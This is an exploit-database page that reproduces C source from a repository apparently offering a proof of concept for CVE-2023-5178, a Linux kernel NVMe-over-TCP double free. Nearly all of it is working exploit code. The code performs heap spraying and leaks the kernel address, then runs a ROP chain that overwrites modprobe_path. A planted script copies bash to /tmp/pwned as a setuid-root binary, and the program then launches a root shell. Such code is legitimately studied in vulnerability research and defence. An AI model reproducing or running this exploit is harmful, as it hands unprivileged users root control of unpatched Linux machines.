Exploit database

GH-8bca328b38bb2461d1f37416cb5786f1

rockrid3r/cve-2023-5178

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-5178

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5
rockrid3r/cve-2023-5178Revision bb765bf73cc8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/xpl.c

C · 35,056 bytes
#define FUSE_USE_VERSION 36

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/xattr.h>
#include <assert.h>
#include <sys/syscall.h>

#include <sys/resource.h>

#include <sys/mman.h>
#include <sys/prctl.h>

#include <sys/msg.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <fcntl.h>
#include <sys/stat.h>

#include <sys/xattr.h>
#include <sys/param.h>
#include <pthread.h>

#include "pdu.h"
#include "crc32c.h"

#define MAX_LOOP_DEVICES 50

#define xstr(s) str(s)
#define str(s) #s
#define FUSE_MAX_THREADS 1500

#define NVME_SERVER_IP      "0.0.0.0"
#define NVME_SERVER_PORT    4420

#define NUM_CONNECTIONS     10000

#define KEY_SPEC_USER_KEYRING		-4	/* - key ID for UID-specific keyring */

/* vmlinux offsets */
#define VMLINUX_TEXT                0xffffffff81000000
#define VMLINUX_MSLEEP              0xffffffff811ec7f0
#define VMLINUX_CACHE_FIRST_PAGE    0xffffffff81629f30
#define VMLINUX_MODPROBE_PATH       0xffffffff833d8b20

// get addr of @SYMBOL given @new, @old addresses of another symbol
#define ADDROF(SYMBOL, new, old) (VMLINUX_##SYMBOL + ((new) - (old)))

/* rop gadgets */
#define VMLINUX_POP_RDI_RET                 0xffffffff818e97cc
#define VMLINUX_POP_RAX_RET                 0xffffffff8213e5e1
#define VMLINUX_MOV_QWORD_PTR_RDI_RAX_RET   0xffffffff815b00c5
#define VMLINUX_STACK_PIVOT                 0xffffffff81c15e22 // push r12 ; ... ; pop rsp ; pop r12 ; ret

/* useful */
#define EXIT_ON_ERR(cond) \
    if (cond) { \
        perror(#cond); \
        exit(1); \
    }

static uint64_t ktext = -1;
static struct sockaddr_in serv_addr;
static struct sockaddr_in construct_serv_addr();

static void prompt();

static int ask_for_more_fds();

static void send_data(int sockfd, char* data, size_t data_size, int ttag, int digest_needed, uint64_t data_digest);
static struct nvme_tcp_icresp_pdu create_failing_icreq_conn();

static struct nvme_tcp_icreq_pdu construct_icreq_pdu(int digest_needed);
static struct nvme_tcp_data_pdu construct_data_pdu(int data_size, int ttag, int digest_needed);

static void send_connect_cmd(int sockfd, int qid, int digest_needed, int wait_for_resp);
static char* construct_connect_cmd_data(char* hostid, uint16_t cntlid, char* subnqn, char* hostnqn);
static struct nvme_tcp_cmd_pdu construct_connect_cmd_pdu(int qid, int digest_needed);
static struct nvme_tcp_cmd_pdu construct_connect_cmd_pdu_with_fake_data_size(int digest_needed, uint32_t data_size, int qid);
static int command_id = 0;

static int normal_connections[NUM_CONNECTIONS];
static int create_standalone_connection(int digest_needed);

static void setup_modprobe();
static void setup_fuse(int argc, char** argv, int n_pages);
static void create_tmp_files(int n_files);
static void spray_squashfs(size_t n_spray);

static char loop[MAX_LOOP_DEVICES][30];
static void setup_squashfs();

static void setxattr_with_tag(void* src, size_t size, int tag);
static void getxattr_from_tag(void* dst, size_t size, int tag);

struct msgbuf {
    long mtype;     /* Message type. */
    char mtext[1];  /* Message text. */
};

static void spray_rop_tfm(size_t n_spray, size_t last_thread, uint64_t tfm);
static void trigger_double_free(size_t num_fds);

static int allow_start[1000] = {0}; // `In practice, you can assume that int is atomic` 
static pthread_mutex_t mtx_allow_start[1000];
static void* setxattr_thread_routine(void* arg) {
    size_t i = (size_t)arg;
    void* src = (void*)0x40000 + (2 * i  + 1) * 0x1000 + 8 - 96;

    pthread_mutex_lock(&mtx_allow_start[i]);

    // printf("[t] starting thread %lu\n", i);
    
    // setup a tag
    for (int j = 0; j < 11; ++j) {
        memset(src + j * 8, 0x41 + j, 8);
    }
    *(uint64_t*)src = i;
    *((uint64_t*)src + 4) = 0; // ahash_request.tfm

    setxattr_with_tag(src, 96, i);
    
    char buf[0x100];
    getxattr_from_tag(buf, 96, i);
    
    void* dst = (void*)0x40000 + 2 * i * 0x1000;
    memcpy(dst, buf, sizeof(buf));
    
    pthread_mutex_unlock(&mtx_allow_start[i]);

    return NULL;
}


struct setxattr_routine_params {
    size_t i; // thread idx
    char payload[0x1000];
    size_t plen;
    size_t to_getxattr;
    size_t negoff;
};
static void* setxattr_thread_routine_with_payload(void* arg) {
    // BE VERY ACCURATE to not get after offset 88 at src
    struct setxattr_routine_params* params = arg;
    size_t i = params->i;
    void* payload = params->payload;
    size_t plen = params->plen;
    size_t to_getxattr = params->to_getxattr;
    size_t negoff = params->negoff;

    void* src = (void*)0x40000 + (2 * i + 1) * 0x1000 - negoff;
    pthread_mutex_lock(&mtx_allow_start[i]);

    memcpy(src, payload, negoff);
    setxattr_with_tag(src, plen, i);
    
    if (to_getxattr) {
        char buf[0x100];
        getxattr_from_tag(buf, sizeof(buf), i);
        void* dst = (void*)0x40000 + 2 * i * 0x1000;
        memcpy(dst, buf, sizeof(buf));
    }

    pthread_mutex_unlock(&mtx_allow_start[i]);

    return NULL;
}

static pthread_t threads[1000];
static size_t tag[2] = {-1, -1};
static uint64_t anon_pipe_buf_ops = -1;
static uint64_t msg_msg_4096 = -1;
static int fuse_msqid[1000];
static int xpl_msqid[1000];
static size_t last_thread = 0;

static void stage_1() {
    puts("############################ STAGE 1 ###############################");
    
    size_t num_fds = ask_for_more_fds() - 20;
    num_fds = MIN(num_fds, 1000);

    size_t n_spray = 10; // 42 is size of the slab
    puts("[*] spawning setxattr threads");

    for (size_t i = 0; i < sizeof(mtx_allow_start) / sizeof(mtx_allow_start[0]); ++i) {
        pthread_mutex_init(&mtx_allow_start[i], NULL);
        pthread_mutex_lock(&mtx_allow_start[i]);
    }

    for (size_t i = 0; i < n_spray; ++i) {
        EXIT_ON_ERR(pthread_create(&threads[i], NULL, setxattr_thread_routine, (void*)i) < 0);
    }
    last_thread += n_spray;

    trigger_double_free(num_fds);
    
    char buf[0x1000];
    struct msgbuf* msgp;
    msgp = (void*)buf;

    for (size_t i = 0; i < n_spray; ++i) {
        pthread_mutex_unlock(&mtx_allow_start[i]); // trigger xattr[i] to allocate
        EXIT_ON_ERR(msgrcv(fuse_msqid[i], msgp, 0, 0, 0) < 0); // wait untill xattr[i] is allocated
        if (i > 0 && i % 5 == 0) {
            usleep(200000);
        }
    }

    
    puts("[*] searching for corrupted xattr");
    size_t cor_0 = -1; // corresponds to tag[0]
    size_t cor_1 = -1; // corresponds to tag[1]
    for (size_t i = 0; i < n_spray; ++i) {
        msgp->mtype = i + 1; // does not matter
        EXIT_ON_ERR(msgsnd(xpl_msqid[i], msgp, 0, 0) < 0); // free on setxattr release
        pthread_join(threads[i], NULL); // alloc & free on getxattr
        uint64_t* src_i = (void*)0x40000 + 2 * i * 0x1000;
        if (src_i[0] != i && src_i[1] == 0x4242424242424242) {
                cor_0 = i;
                tag[0] = src_i[0];
                printf("[*] cor_0: %lu, tag[0]: %lu\n", cor_0, tag[0]);

                // deduce everybody else
                cor_1 = cor_0 + 1;
                tag[1] = tag[0] + 1;
                printf("[*] deduced cor_1: %lu, tag[1]: %lu\n", cor_1, tag[1]);
                break;
        } else if (src_i[1] != 0x4242424242424242) {
            printf("[!] xattr %lu was freed, but taken by unknown object. prepare for crash\n", i);
            exit(1);
        }
    }

    if (cor_0 == -1) {
        puts("[!] could not find cor_0. prepare for crash");
        exit(1);
    }
    
    puts("[*] freeing others");
    // free useless
    for (size_t i = cor_0 + 1; i < n_spray; ++i) {
        if (i == cor_1 || i == cor_1 + 1 || i == tag[0] || i == tag[1]) {
            continue;
        }
        EXIT_ON_ERR(msgsnd(xpl_msqid[i], msgp, 0, 0) < 0); // unblock & free
        pthread_join(threads[i], NULL); // alloc & free on getxattr
    }

    // free cor_1, (cor_1 + 1) & realloc to rcv_hash
    // * because of "freeing others" it will go into rcv_hash
    EXIT_ON_ERR(msgsnd(xpl_msqid[cor_1], msgp, 0, 0) < 0); // unblock & free
    pthread_join(threads[cor_1], NULL); // alloc & free on getxattr
    EXIT_ON_ERR(msgsnd(xpl_msqid[cor_1 + 1], msgp, 0, 0) < 0); // unblock & free
    pthread_join(threads[cor_1 + 1], NULL); // alloc & free on getxattr
    puts("[*] reallocating cor_1 to rcv_hash");
    normal_connections[0] = create_standalone_connection(2);
    
    puts("[*] spraying squashfs");
    spray_squashfs(10);

    puts("[*] free & read tag[0]");
    msgp->mtype = tag[0] + 1; // does not matter
    EXIT_ON_ERR(msgsnd(xpl_msqid[tag[0]], msgp, 0, 0) < 0);
    pthread_join(threads[tag[0]], NULL);
    void* src_tag_0 = (void*)0x40000 + 2 * tag[0] * 0x1000;
    uint64_t* p64;
    p64 = src_tag_0;
    
    uint64_t cache_first_page = -1;
    if ((p64[3] & 0xfffff) == (VMLINUX_CACHE_FIRST_PAGE & 0xfffff)) {
        cache_first_page = p64[3];
        printf("[*] cache_first_page: 0x%lx\n", cache_first_page);
    } else {
        puts("[!] could not find cache_first_page");
        exit(1);
    }

    ktext = ADDROF(TEXT, cache_first_page, VMLINUX_CACHE_FIRST_PAGE);
    printf("[*] ktext: 0x%lx\n", ktext);
}

static void stage_2() {
    puts("############################ STAGE 2 ###############################");
    
    // 1. leak kmalloc-128 (tfm)
    size_t tag2[2] = {-1, -1};
    
    size_t num_fds = ask_for_more_fds() - 20;
    num_fds = MIN(num_fds, 2000);

    char buf[0x1000];
    struct msgbuf* msgp;
    uint64_t* p64;
    msgp = (void*)buf;

    size_t n_spray = 10; // 42 is size of the slab
    
    puts("[*] spawning setxattr threads");
    for (size_t i = 0; i < n_spray; ++i) {
        EXIT_ON_ERR(pthread_create(&threads[last_thread + i], NULL, setxattr_thread_routine, (void*)(last_thread + i)) < 0);
    }
    trigger_double_free(num_fds);
    for (size_t i = 0; i < n_spray; ++i) {
        pthread_mutex_unlock(&mtx_allow_start[last_thread + i]);
        EXIT_ON_ERR(msgrcv(fuse_msqid[last_thread + i], msgp, 0, 0, 0) < 0); // wait untill xattr[last_thread + i] is allocated
        if (i > 0 && i % 5 == 0) {
            usleep(200000);
        }
    }
    
    puts("[*] searching for corrupted xattr");
    size_t cor_0 = -1; // corresponds to tag[0]
    size_t cor_1 = -1; // corresponds to tag[1]
    for (size_t i = 0; i < n_spray; ++i) {
        msgp->mtype = i + 1; // does not matter
        EXIT_ON_ERR(msgsnd(xpl_msqid[last_thread + i], msgp, 0, 0) < 0); // free on setxattr release
        pthread_join(threads[last_thread + i], NULL); // alloc & free on getxattr
        uint64_t* src_i = (void*)0x40000 + 2 * (last_thread + i) * 0x1000;
        if (src_i[0] != last_thread + i && src_i[1] == 0x4242424242424242) {
            cor_0 = last_thread + i;
            tag2[0] = src_i[0];
            printf("[*] cor_0: %lu, tag2[0]: %lu\n", cor_0, tag2[0]);

            // deduce everybody else
            cor_1 = cor_0 + 1;
            tag2[1] = tag2[0] + 1;
            printf("[*] deduced cor_1: %lu, tag2[1]: %lu\n", cor_1, tag2[1]);
    
            // free cor_1 now
            puts("[*] freeing cor_1");
            EXIT_ON_ERR(msgsnd(xpl_msqid[cor_1], msgp, 0, 0) < 0); // free on setxattr release
            pthread_join(threads[cor_1], NULL); // alloc & free on getxattr
            // verify cor_1
            uint64_t* src_1 = (void*)0x40000 + 2 * cor_1 * 0x1000;
            if (src_1[0] == tag2[1]) {
                puts("[*] deduction verified");
            } else {
                puts("[!] deduction failed. exiting");
                exit(1);
            }

            break; // very important to stop freeing here. we want to realloc into rcv_hash
        } else if (src_i[1] != 0x4242424242424242) {
            printf("[!] xattr %lu was freed, but taken by unknown object. prepare for crash\n", i);
            exit(1);
        }
    }
    
    puts("[*] reallocating cor_0, cor_1 to rcv_hash, snd_hash");
    size_t n_conn = 10;
    /*
        Actually n_spray = 10 is enough here because we are in active slab still.
        But we want to allocate full slab of target object(tfm especially, kmalloc-128):
            * next time we close connection, slab will become partial head.
            * so we can reliably overwrite it by
    */
    for (size_t i = 0; i < n_conn; ++i) {
        normal_connections[1 + i] = create_standalone_connection(2);
    }

    puts("[*] figuring out who is who");
    puts("[*] sending connect cmd");
    char* cmd_data = construct_connect_cmd_data("AAAAAA", 0xffff, "nqn.2014-08.org.nvmexpress.discovery", "BBBBBB");
    size_t cmd_data_size = 1024;
    uint32_t hsh = crc32c(0xffffffff, cmd_data, cmd_data_size);
    for (size_t i = 0; i < n_conn; ++i) {
        struct nvme_tcp_cmd_pdu cmd = construct_connect_cmd_pdu(0, 2);
        EXIT_ON_ERR(send(normal_connections[1 + i], &cmd, sizeof(cmd), 0) < 0);
        send_data(normal_connections[1 + i], cmd_data, cmd_data_size, 0, 2, ((uint64_t)hsh << 32) | 1);
        size_t read_size = 0;
        EXIT_ON_ERR((read_size = recv(normal_connections[1 + i], buf, sizeof(buf), 0)) < 0);
#ifdef LOG_DEBUG
        printf("[*] read_size: %lu, icresp.pdu_type: %d\n", read_size, buf[0]);
#endif
    }

    puts("[*] freeing tag2[1]");
    msgp = (void*)buf;
    msgp->mtype = tag2[1] + 1; // does not matter
    msgsnd(xpl_msqid[tag2[1]], msgp, 0, 0);
    pthread_join(threads[tag2[1]], NULL);

    void* src_tag2_1 = (void*)0x40000 + 2 * tag2[1] * 0x1000;
    p64 = src_tag2_1;
    uint64_t tfm = p64[4];
    printf("[*] tfm: %lx\n", tfm);
    size_t rcv_ahash_tag;
    if (p64[8] != 0) {
        rcv_ahash_tag = tag2[1];
        puts("[*] rcv_ahash was 1");
        printf("[*] rcv_hash.result: 0x%lx\n", p64[8]);
    } else {
        puts("[*] checking if rcv_hash was 0");
        rcv_ahash_tag = tag2[0];

        puts("[*] freeing tag2[0]");
        msgp = (void*)buf;
        msgp->mtype = tag2[0] + 1; // does not matter
        msgsnd(xpl_msqid[tag2[0]], msgp, 0, 0);
        pthread_join(threads[tag2[0]], NULL);

        void* src_tag2_0 = (void*)0x40000 + 2 * tag2[0] * 0x1000;
        p64 = src_tag2_0;
        if (p64[8] != 0) {
            puts("[*] rcv_ahash was 0");
            printf("[*] rcv_hash.result: 0x%lx\n", p64[8]);
        } else {
            puts("[!] both 0, 1 are not rcv_hash. aborting");
            exit(1);
        }
    }
    last_thread += n_spray;
    
    // realloc & free rcv_hash (aim is to free tfm)
    // yes, it's arbfree
    puts("[*] restoring rcv_hash & closing connection");
    char payload[72];
    memset(payload, 0, sizeof(payload));
    p64 = (void*)&payload[0];
    p64[1] = tfm;
    
    char desc[30];
    n_spray = 50;
    for (size_t i = 0; i < n_spray; ++i) {
        snprintf(desc, sizeof(desc), "user.rcv_hash.%lu", i);
        EXIT_ON_ERR(syscall(SYS_add_key, "user", desc, payload, sizeof(payload), KEY_SPEC_USER_KEYRING) < 0);
    }
   
    // frees tfm
    for (size_t i = 0; i < n_conn; ++i) {
        close(normal_connections[1 + i]);
    }
    // 4. immediately spray rop here to realloc tfm from kmalloc-128
    n_spray = 100;
    spray_rop_tfm(n_spray, last_thread, tfm);
    last_thread += n_spray;

    // 2. free tag[1] (&verify it was in rcv_hash)
    puts("[*] setting up tag[1]-rcv_hash to corrupted tfm");
    cmd_data = construct_connect_cmd_data("AAAAAA", 0xffff, "nqn.2014-08.org.nvmexpress.discovery", "BBBBBB");
    cmd_data_size = 1024;
    hsh = crc32c(0xffffffff, cmd_data, cmd_data_size);
    struct nvme_tcp_cmd_pdu cmd = construct_connect_cmd_pdu(0, 2);
    EXIT_ON_ERR(send(normal_connections[0], &cmd, sizeof(cmd), 0) < 0);
    send_data(normal_connections[0], cmd_data, cmd_data_size, 0, 2, ((uint64_t)hsh << 32) | 1);
    size_t read_size = 0;
    EXIT_ON_ERR((read_size = recv(normal_connections[0], buf, sizeof(buf), 0)) < 0);
    
    puts("[*] freeing tag[1]");
    msgp = (void*)buf;
    msgp->mtype = tag[1] + 1; // does not matter
    msgsnd(xpl_msqid[tag[1]], msgp, 0, 0);
    pthread_join(threads[tag[1]], NULL);
    void* src_tag_1 = (void*)0x40000 + 2 * tag[1] * 0x1000;
    p64 = src_tag_1;
    if (p64[8] == 0) {
        puts("[!] tag[1] is not rcv_hash. prepare for crash");
        exit(1);
    }
    printf("[*] tag[1] verified: tfm=0x%lx, result=0x%lx\n", p64[4], p64[8]);

    // 3. kmalloc-96 spray to overwrite rcv_hash
    puts("[*] spraying rcv_hash");
    n_spray = 500;

    char fake_ahash_request[96];
    memset(fake_ahash_request, 0, sizeof(fake_ahash_request));
    p64 = (void*)&fake_ahash_request[0];
    p64[4] = tfm - 8; // hope to alloc this addr in future
    /*
        Use tfm - 8 and not just tfm for 2 reasons:
        1. _copy_to_user copies bytes with group of 4. 
           So if fuse pagefault occurs on one qword it stops and does not copy all of them until pagefault is resolved.
           It does not let the setxattr spray to setup the `crypto_ahash.base.__cra_alg` (which is one of the last qwords).
           It leads to error in `crypto_destroy_tfm`(so no rop is executed).
           Shifting `tfm` to `tfm - 8` makes it possible to copy the `crypto_ahsh.base.__cra_alg` as it is now 
                inside the second-to-last pack of 4 qwords.
        2. first qword will be popped in stack pivot with "push r12 ; ... ; pop rsp ; pop r12"
    */
    puts("[*] spraying fake ahash_request in kmalloc-96");
    for (size_t i = 0; i < n_spray; ++i) { 
        struct setxattr_routine_params* params = malloc(sizeof(struct setxattr_routine_params));
        params->plen = 96;
        params->negoff = 88;
        params->to_getxattr = 0;
        memcpy(params->payload, fake_ahash_request, sizeof(fake_ahash_request));
        params->i = last_thread + i;
    
        EXIT_ON_ERR(pthread_create(&threads[last_thread + i], NULL, setxattr_thread_routine_with_payload, (void*)params) < 0);
    }
    for (size_t i = 0; i < n_spray; ++i) {
        pthread_mutex_unlock(&mtx_allow_start[last_thread + i]);
    }
    for (size_t i = 0; i < n_spray; ++i) {
        EXIT_ON_ERR(msgrcv(fuse_msqid[last_thread + i], msgp, 0, 0, 0) < 0); // wait untill all setxattrs are allocated
    }
    last_thread += n_spray;

    // 5. trigger crypto_destroy_tfm 
    puts("[*] triggering rop");
    prompt();
    close(normal_connections[0]);
    
    puts("[*] wait for 3 sec until rop completes");
    sleep(3); // wait until rop is completed
}

static void spray_rop_tfm(size_t n_spray, size_t last_thread, uint64_t tfm) {
    uint64_t rop[] = {
        ADDROF(POP_RDI_RET, ktext, VMLINUX_TEXT),
        ADDROF(MODPROBE_PATH, ktext, VMLINUX_TEXT),
        ADDROF(POP_RAX_RET, ktext, VMLINUX_TEXT),
        0x772f706d742f, // /tmp/w
        ADDROF(MOV_QWORD_PTR_RDI_RAX_RET, ktext, VMLINUX_TEXT),
        ADDROF(POP_RDI_RET, ktext, VMLINUX_TEXT),
        0xffffffff, // time to sleep: infinite
        ADDROF(MSLEEP, ktext, VMLINUX_TEXT),
    };
    assert(sizeof(rop) <= 72);

    char buf[0x1000];
    struct msgbuf* msgp = (void*)buf;
    uint64_t* p64;

    // prepare corrupted crypto_ahash
    char fake_crypto_ahash[128];
    memcpy(fake_crypto_ahash, rop, sizeof(rop));
    p64 = (void*)&fake_crypto_ahash[64];
    p64[0] = 1; // refcnt
    p64[1] = 0xffffffff; // flags | node
    p64[2] = ADDROF(STACK_PIVOT, ktext, VMLINUX_TEXT); // exit: push r12 ; ... ; pop rsp ; pop r12 ; ret
    p64[3] = tfm - 312; // __crt_alg: have constraint 
                        // *(__crt_alg + 312) == 0 -- make it point on refcnt, which will be decreased 
    p64[4] = 0x4141414141414141;
    p64[5] = 0x4141414141414141;
    p64[6] = 0x4141414141414141;

    puts("[*] spraying fake crypto_ahash in kmalloc-128");
    for (size_t i = 0; i < n_spray; ++i) { 
        struct setxattr_routine_params* params = malloc(sizeof(struct setxattr_routine_params));
        params->plen = 128;
        params->negoff = 120;
        params->to_getxattr = 0;
        memcpy(params->payload, fake_crypto_ahash, sizeof(fake_crypto_ahash));
        params->i = last_thread + i;
    
        EXIT_ON_ERR(pthread_create(&threads[last_thread + i], NULL, setxattr_thread_routine_with_payload, (void*)params) < 0);
    }
    for (size_t i = 0; i < n_spray; ++i) {
        pthread_mutex_unlock(&mtx_allow_start[last_thread + i]);
    }
#ifdef LOG_DEBUG
    puts("[*] wait until all xattrs are allocated");
#endif
    for (size_t i = 0; i < n_spray; ++i) {
        EXIT_ON_ERR(msgrcv(fuse_msqid[last_thread + i], msgp, 0, 0, 0) < 0); // wait untill all setxattrs are allocated
    }
}

int main(int argc, char** argv) {
    setbuf(stdout, NULL);
    serv_addr = construct_serv_addr();

    size_t max_num_fds = ask_for_more_fds();

    size_t n_pages = FUSE_MAX_THREADS;
    size_t n_loops = 10;

    create_tmp_files(n_pages);
    setup_fuse(argc, argv, n_pages);
    setup_squashfs(n_loops);
    setup_modprobe();

    for (int i = 0; i < 1000; ++i) {
        xpl_msqid[i] = msgget(1337 + i, IPC_CREAT | 0666);
        fuse_msqid[i] = msgget(1336 - i, IPC_CREAT | 0666);
    }

    stage_1();
    stage_2();
    
    puts("[*] popping shell");
    system("/tmp/trig 2>&1 > /dev/null");
    if (system("/tmp/pwned -p")) {
        puts("[*] rop failed. prepare for crash");
        exit(1);
    }

    puts("[*] End");
    prompt();


    return 0;
}


int ask_for_more_fds() {
    struct rlimit lim;
    EXIT_ON_ERR((getrlimit(RLIMIT_NOFILE, &lim)) < 0);
    printf("[*] fd rlimit: soft=%lu, hard=%lu\n", lim.rlim_cur, lim.rlim_max);
    
    lim.rlim_cur = lim.rlim_max;
    EXIT_ON_ERR((setrlimit(RLIMIT_NOFILE, &lim)) < 0);
    printf("[*] changed rlimit: soft=%lu, hard=%lu\n", lim.rlim_cur, lim.rlim_max);
    return lim.rlim_max;
}

char* construct_connect_cmd_data(char* hostid, uint16_t cntlid, char* subnqn, char* hostnqn) {
    char* connect_command_data = malloc(1024);
    memset(connect_command_data, 0, 1024);
    strcpy(&connect_command_data[0], hostid);
    *(uint16_t*)&connect_command_data[16] = cntlid;
    strcpy(&connect_command_data[256], subnqn);
    strcpy(&connect_command_data[512], hostnqn);
    return connect_command_data;
}

static void send_connect_cmd(int sockfd, int qid, int digest_needed, int wait_for_resp) {
    struct nvme_tcp_cmd_pdu cmd = construct_connect_cmd_pdu(qid, digest_needed);
    EXIT_ON_ERR(send(sockfd, &cmd, sizeof(cmd), 0) < 0);
    
    if (wait_for_resp) {
        char resp[28];
        size_t read_size = 0;
        EXIT_ON_ERR((read_size = recv(sockfd, resp, sizeof(resp), 0)) < 0);
        uint32_t stat = *(uint32_t*)&resp[8];
    }
}

static void prompt() {
    printf("[>] Enter any key to continue: ");
    getchar();
}

static int create_standalone_connection(int digest_needed) {
    int sockfd;
    EXIT_ON_ERR((sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0);
    EXIT_ON_ERR(connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0);
    struct nvme_tcp_icreq_pdu icreq = construct_icreq_pdu(digest_needed);
    EXIT_ON_ERR(send(sockfd, &icreq, sizeof(icreq), 0) < 0);
    struct nvme_tcp_icresp_pdu icresp;
    memset(&icresp, 0, sizeof(icresp));
    EXIT_ON_ERR(recv(sockfd, &icresp, sizeof(icresp), 0) < 0); // wait until queue is allocated
    // printf("[*] pdu-type: %d, maxh2cdata: 0x%x, digest: 0x%hhx\n", icresp.hdr.type, icresp.maxdata, icresp.digest);
    return sockfd;
}

static void send_data(int sockfd, char* data, size_t data_size, int ttag, int digest_needed, uint64_t data_digest) {
    // @data_digest: set data_digest & 1 to indicate data digest was precalculated
    //              will use 32 MSB of this parameter when sending ddgst (data_digest >> 32)
    struct nvme_tcp_data_pdu data_pdu = construct_data_pdu(data_size, ttag, digest_needed);
    // puts("[*] sending data pdu");
    EXIT_ON_ERR(send(sockfd, &data_pdu, sizeof(data_pdu), 0) < 0); // pdu

    if (digest_needed & 1) {
        uint32_t hdgst = crc32c(0xffffffff, (uint8_t*)&data_pdu, sizeof(data_pdu));
        printf("[*] sending hdigest %x\n", hdgst);
        EXIT_ON_ERR(send(sockfd, &hdgst, 4, 0) < 0);
    }
    
    EXIT_ON_ERR(send(sockfd, data, data_size, 0) < 0);

    if (digest_needed & 2) {
        uint32_t ddgst;
        if (data_digest & 1) {
            ddgst = data_digest >> 32;
        } else {
            ddgst = crc32c(0xffffffff, data, data_size);
        }
        if (data_size == 0) {
            ddgst = 0;
        }
        EXIT_ON_ERR(send(sockfd, &ddgst, 4, 0) < 0);
    }
}

static struct nvme_tcp_icresp_pdu create_failing_icreq_conn() {
    puts("[*] sending wrong_icreq");
    struct nvme_tcp_icreq_pdu wrong_icreq = construct_icreq_pdu(2);
    wrong_icreq.hdr.plen = 0xff; // wrong to trigger bug
    
    int sockfd;
    EXIT_ON_ERR((sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0);
    EXIT_ON_ERR(connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0);

    memset(wrong_icreq.rsvd2, 0x0, sizeof(wrong_icreq.rsvd2));
    send(sockfd, &wrong_icreq, sizeof(wrong_icreq), 0);

    struct nvme_tcp_icresp_pdu icresp;
    EXIT_ON_ERR(recv(sockfd, &icresp, sizeof(icresp), 0) < 0);
    return icresp;
}

static void setxattr_with_tag(void* src, size_t size, int tag) {
    // YOU setup the content of src
    // I only guarantee the name of xattr is tagged
   char name[20];
   sprintf(name, "user.%d", tag);

   char filename[20];
   snprintf(filename, sizeof(filename), "/tmp/%d", tag);

   EXIT_ON_ERR(setxattr(filename, name, src, size, 0) < 0);
}

static void getxattr_from_tag(void* dst, size_t size, int tag) {
    char name[20];
    snprintf(name, sizeof(name), "user.%d", tag);

    char filename[20];
    snprintf(filename, sizeof(filename), "/tmp/%d", tag);

    EXIT_ON_ERR(getxattr(filename, name, dst, size) < 0);
}

static void create_tmp_files(int n_files) {
    for (int i = 0; i < n_files; ++i) {
        char filename[20];
        snprintf(filename, sizeof(filename), "/tmp/%d", i);
        int fd = open(filename, O_CREAT | O_RDWR, 0666);
        close(fd);
    }
}

// took from @willsroot
static void setup_modprobe() { 
    int fd;
    
    EXIT_ON_ERR((fd = open("/tmp/trig", O_CREAT | O_RDWR, 0777)) < 0);
    write(fd, "\xff\xff\xff\xff", 4);
    close(fd);

    EXIT_ON_ERR((fd = open("/tmp/w", O_CREAT | O_RDWR, 0777)) < 0);
    char win[] =
        "#!/bin/sh\n"
        "cp /bin/bash /tmp/pwned\n"
        "chown root:root /tmp/pwned\n"
        "chmod u+s /tmp/pwned\n";
    write(fd, win, sizeof(win));
    close(fd);
}
    
static void setup_squashfs(size_t n_loops) {
    // @n_loops: number of loop devices to create
    system("mkdir -p dummy 2>&1 > /dev/null");
    system("mksquashfs dummy dummy.sqsh 2>&1 > /dev/null");
    char buf[0x1000];
    assert(n_loops <= MAX_LOOP_DEVICES);
    for (size_t i = 0; i < n_loops; ++i) {
        FILE* f = popen("/usr/bin/udisksctl loop-setup -f dummy.sqsh", "r");
        fgets(buf, sizeof(buf), f);

        strncpy(loop[i], strstr(buf, "/dev/loop"), sizeof(loop[i]));
        loop[i][strlen(loop[i]) - 2] = '\0'; // remove '.' at the end
    }
}

static void setup_fuse(int argc_, char** argv_, int n_pages) {
    puts("[*] creating directory /tmp/fuse");
    EXIT_ON_ERR(mkdir("/tmp/fuse", 0777) < 0);

    puts("[*] ./build/fuse");
    int pid = fork();
    if (pid == 0) {
        EXIT_ON_ERR(system("./build/fuse -f -o max_threads=" xstr(FUSE_MAX_THREADS) " /tmp/fuse") != 0); // -f for printf output
        exit(0);
    }

    sleep(5); // wait until fuse starts :)

    int fd;
    char file_target[20];
    for (int i = 0; i < n_pages; ++i) {
        snprintf(file_target, sizeof(file_target), "/tmp/fuse/%d", i);
        EXIT_ON_ERR((fd = open(file_target, O_CREAT | O_RDWR)) < 0);
        EXIT_ON_ERR(
            mmap((void*)0x40000 + 2 * i * 0x1000, 0x1000, 
                PROT_READ | PROT_WRITE, 
                MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 
                -1, 0)
            == (void*)-1
        );
        EXIT_ON_ERR(
                mmap((void*)0x40000 + (2 * i + 1) * 0x1000, 0x1000, 
                PROT_READ | PROT_WRITE, 
                MAP_PRIVATE | MAP_FIXED, 
                fd, 0) 
            == (void*)-1
        );
    }
}

static struct nvme_tcp_icreq_pdu construct_icreq_pdu(int digest_needed) {
    struct nvme_tcp_icreq_pdu icreq = {
            .hdr.type = nvme_tcp_icreq,
            .hdr.flags = 0,
            .hdr.hlen = 0x80,
            .hdr.pdo = 0,
            .hdr.plen = 0x80, // correct
            .pfv = 0,
            .hpda = 0,
            .digest = digest_needed, // enable data digest for alloc_crypto
            .maxr2t = 0,
    };
    memset(icreq.rsvd2, 0x0, sizeof(icreq.rsvd2));
    return icreq;
}
    
static struct nvme_tcp_data_pdu construct_data_pdu(int data_size, int ttag, int digest_needed) {
    struct nvme_tcp_data_pdu data_pdu = {
        .hdr.type = nvme_tcp_h2c_data,
        .hdr.flags = digest_needed,
        .hdr.hlen = 0x18, 
        .hdr.pdo = 0, 
        .hdr.plen = 0x18 + data_size, // should be set by caller
        // .command_id,
        .ttag = ttag,
        .data_offset = 0,
        .data_length = data_size,
    };

    if (digest_needed & 1) {
        data_pdu.hdr.plen += 4;
    }
    if (digest_needed & 2) {
        data_pdu.hdr.plen += 4;
    }
    return data_pdu;
}

static struct nvme_tcp_cmd_pdu construct_connect_cmd_pdu(int qid, int digest_needed) {
    size_t data_size = 1024;
    return construct_connect_cmd_pdu_with_fake_data_size(digest_needed, data_size, qid);
}

